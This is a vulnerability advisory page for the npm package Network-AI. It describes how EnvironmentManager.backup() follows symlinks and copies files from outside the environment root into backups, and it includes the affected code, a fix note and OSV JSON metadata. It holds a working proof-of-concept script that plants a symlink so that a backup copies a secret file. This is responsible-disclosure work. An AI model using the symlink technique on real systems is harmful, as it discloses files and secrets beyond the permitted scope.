GHSA-6X2M-P4XP-WG22

Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42
VLAI
Summary
Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups
Details

Summary

EnvironmentManager.backup() recursively collects files using _collectBackupFiles(). _collectBackupFiles() uses statSync(full), which follows symlinks. If data/<env> contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into data/<env>/.backups/<backupId>/.

An attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.

Details

backup() collects file paths and copies them into the backup directory:

const files = this._collectBackupFiles(envDir);
for (const rel of files) {
  const src = join(envDir, rel);
  const dst = join(backupPath, rel);
  mkdirSync(join(backupPath, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
  try { copyFileSync(src, dst); } catch { /* skip unreadable */ }
}

_collectBackupFiles() follows symlinked directories because it calls statSync(), not lstatSync():

const info = statSync(full);
if (info.isDirectory()) {
  walk(full, rel);
} else {
  results.push(rel);
}

Default CLI reachability exists through network-ai env backup create --env <env>. backup() also runs automatically before promotion and restore operations.

Affected source evidence:

  • lib/env-manager.ts:435-460 — backup copy logic.
  • lib/env-manager.ts:596-617 — symlink-following _collectBackupFiles().
  • bin/cli.ts:413-420 — default CLI exposes backup creation.
  • lib/env-manager.ts:294-297 and 483-484 — backup also runs before promote/restore.

PoC

This PoC uses only temporary files. It creates a symlink inside data/dev pointing to an external directory, then runs backup('dev') and observes that the external file is copied into the backup:

TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const outside = path.join(base, 'outside');

fs.mkdirSync(outside, { recursive: true });
fs.writeFileSync(path.join(outside, 'secret.txt'), 'secret-through-symlink');

const mgr = new EnvironmentManager(data, {
  chain: ['dev', 'st'],
  gates: { dev: 'auto', st: 'auto' },
});

mgr.init('dev');
fs.symlinkSync(outside, path.join(data, 'dev', 'linked-outside'), 'dir');

const result = mgr.backup('dev');
const copied = path.join(result.path, 'linked-outside', 'secret.txt');

console.log(JSON.stringify({
  copied: fs.existsSync(copied),
  content: fs.readFileSync(copied, 'utf8'),
}, null, 2));

fs.rmSync(base, { recursive: true, force: true });
TS

Observed result: copied is true and content is secret-through-symlink.

Impact

An attacker who can place a symlink in data/<env> can cause backup creation to copy arbitrary readable files from outside the environment root into data/<env>/.backups/<backupId>/. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.


Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.

_collectBackupFiles() now uses lstatSync instead of statSync and skips any entry where isSymbolicLink() is true. Symlinks are never traversed, so backup() can no longer follow a link out of the environment root and copy external files into a backup artifact.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "network-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:42:36Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n`EnvironmentManager.backup()` recursively collects files using `_collectBackupFiles()`. `_collectBackupFiles()` uses `statSync(full)`, which follows symlinks. If `data/\u003cenv\u003e` contains a symlink to a directory outside the environment root, backup recursion follows the symlink and copies external files into `data/\u003cenv\u003e/.backups/\u003cbackupId\u003e/`.\n\nAn attacker who can place a symlink under the environment data directory can cause backup operations to disclose files outside the environment root into backup artifacts. Confirmed in Network-AI 5.12.1.\n\n### Details\n`backup()` collects file paths and copies them into the backup directory:\n\n```ts\nconst files = this._collectBackupFiles(envDir);\nfor (const rel of files) {\n  const src = join(envDir, rel);\n  const dst = join(backupPath, rel);\n  mkdirSync(join(backupPath, rel.includes(\u0027/\u0027) ? rel.substring(0, rel.lastIndexOf(\u0027/\u0027)) : \u0027.\u0027), { recursive: true });\n  try { copyFileSync(src, dst); } catch { /* skip unreadable */ }\n}\n```\n\n`_collectBackupFiles()` follows symlinked directories because it calls `statSync()`, not `lstatSync()`:\n\n```ts\nconst info = statSync(full);\nif (info.isDirectory()) {\n  walk(full, rel);\n} else {\n  results.push(rel);\n}\n```\n\nDefault CLI reachability exists through `network-ai env backup create --env \u003cenv\u003e`. `backup()` also runs automatically before promotion and restore operations.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:435-460` \u2014 backup copy logic.\n- `lib/env-manager.ts:596-617` \u2014 symlink-following `_collectBackupFiles()`.\n- `bin/cli.ts:413-420` \u2014 default CLI exposes backup creation.\n- `lib/env-manager.ts:294-297` and `483-484` \u2014 backup also runs before promote/restore.\n\n### PoC\nThis PoC uses only temporary files. It creates a symlink inside `data/dev` pointing to an external directory, then runs `backup(\u0027dev\u0027)` and observes that the external file is copied into the backup:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - \u003c\u003c\u0027TS\u0027\nconst { EnvironmentManager } = require(\u0027./lib/env-manager\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst base = process.env.TMPBASE;\nconst data = path.join(base, \u0027data\u0027);\nconst outside = path.join(base, \u0027outside\u0027);\n\nfs.mkdirSync(outside, { recursive: true });\nfs.writeFileSync(path.join(outside, \u0027secret.txt\u0027), \u0027secret-through-symlink\u0027);\n\nconst mgr = new EnvironmentManager(data, {\n  chain: [\u0027dev\u0027, \u0027st\u0027],\n  gates: { dev: \u0027auto\u0027, st: \u0027auto\u0027 },\n});\n\nmgr.init(\u0027dev\u0027);\nfs.symlinkSync(outside, path.join(data, \u0027dev\u0027, \u0027linked-outside\u0027), \u0027dir\u0027);\n\nconst result = mgr.backup(\u0027dev\u0027);\nconst copied = path.join(result.path, \u0027linked-outside\u0027, \u0027secret.txt\u0027);\n\nconsole.log(JSON.stringify({\n  copied: fs.existsSync(copied),\n  content: fs.readFileSync(copied, \u0027utf8\u0027),\n}, null, 2));\n\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result: `copied` is `true` and `content` is `secret-through-symlink`.\n\n### Impact\nAn attacker who can place a symlink in `data/\u003cenv\u003e` can cause backup creation to copy arbitrary readable files from outside the environment root into `data/\u003cenv\u003e/.backups/\u003cbackupId\u003e/`. This can disclose secrets or local files to any actor/process that can later read or export Network-AI backup artifacts. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` \u2014 published to npm with provenance.\n\n`_collectBackupFiles()` now uses `lstatSync` instead of `statSync` and skips any entry where `isSymbolicLink()` is true. Symlinks are never traversed, so `backup()` can no longer follow a link out of the environment root and copy external files into a backup artifact.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.",
  "id": "GHSA-6x2m-p4xp-wg22",
  "modified": "2026-06-19T21:42:36Z",
  "published": "2026-06-19T21:42:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-6x2m-p4xp-wg22"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Jovancoding/Network-AI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Network-AI: EnvironmentManager.backup() follows symlinked directories and copies files outside the environment root into backups"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…